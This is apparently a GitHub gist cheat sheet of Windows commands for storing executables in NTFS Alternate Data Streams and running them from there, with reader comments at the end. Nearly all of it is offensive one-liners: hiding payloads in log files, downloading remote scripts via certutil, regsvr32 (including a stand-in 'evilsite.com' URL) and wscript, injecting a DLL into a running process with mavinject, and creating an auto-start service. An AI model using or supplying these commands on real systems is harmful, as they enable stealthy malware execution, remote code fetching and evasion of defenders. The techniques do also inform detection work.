Execute from Alternate Streams

Exe_ADS_Methods.md

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe

reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg

regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey

expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat

esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o

powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"

curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat

"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe" -DownloadFile -url https://www.7-zip.org/a/7z1900.exe -path c:\\temp\\1.txt:7-zip.exe

msxsl.exe "https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml" "https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl" -o <filename>

Extract content from ADS

expand c:\ads\file.txt:test.exe c:\temp\evil.exe

esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o

PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder

Executing from ADS

WMIC

wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

Rundll32

rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain

rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll

rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll

Cscript

cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"

Wscript

wscript c:\ads\file.txt:script.vbs

echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js

Forfiles

forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"

Mavinject.exe

c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

MSHTA

mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta" (Does not work on Windows 10 1903 and newer)

Control.exe

control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll https://twitter.com/bohops/status/954466315913310209

Service

sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

Powershell.exe

powershell -ep bypass - < c:\temp:ttt

powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}

Regedit.exe

regedit c:\ads\file.txt:regfile.reg

Bitsadmin.exe

bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile

AppVLP.exe

AppVLP.exe c:\windows\tracing\test.txt:ha.exe

Cmd.exe

cmd.exe - < fakefile.doc:reg32.bat https://twitter.com/yeyint_mth/status/1143824979139579904

Ftp.exe

ftp -s:fakefile.txt:aaaa.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md

ieframe.dll , shdocvw.dll (ads)

echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt

https://github.com/sailay1996/misc-bin/blob/master/ads.md

bash.exe

echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)

https://github.com/sailay1996/misc-bin/blob/master/ads.md

Regsvr32

type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS

Write registry

regini.exe file.txt:hidden.ini From @elisalem9

Great work man ,this helps a lot 😄

Thanks. Good to hear.

Hi. This is not persistence mechanisms. This is only ways of hiding programs withing ADS and ways of executing it. How to place your persistence is up to you. For instance a RUN key in registry could launch the WMIC command that execute data from an Alternate Data stream.

"powershell Start-Process -FilePath xx.exe" can execute the file too~

Will AV detect the malicious payload?

@jmaravi - yes.

What about if you needed to delete an ADS? Not just empty it.

@zappermax you can remove an ADS using the Remove-Item cmdlet
https://docs.microsoft.com/en-us/archive/blogs/askcore/alternate-data-streams-in-ntfs

good job my brother and Allah Almighty will help you

That's incredible man

Amazing!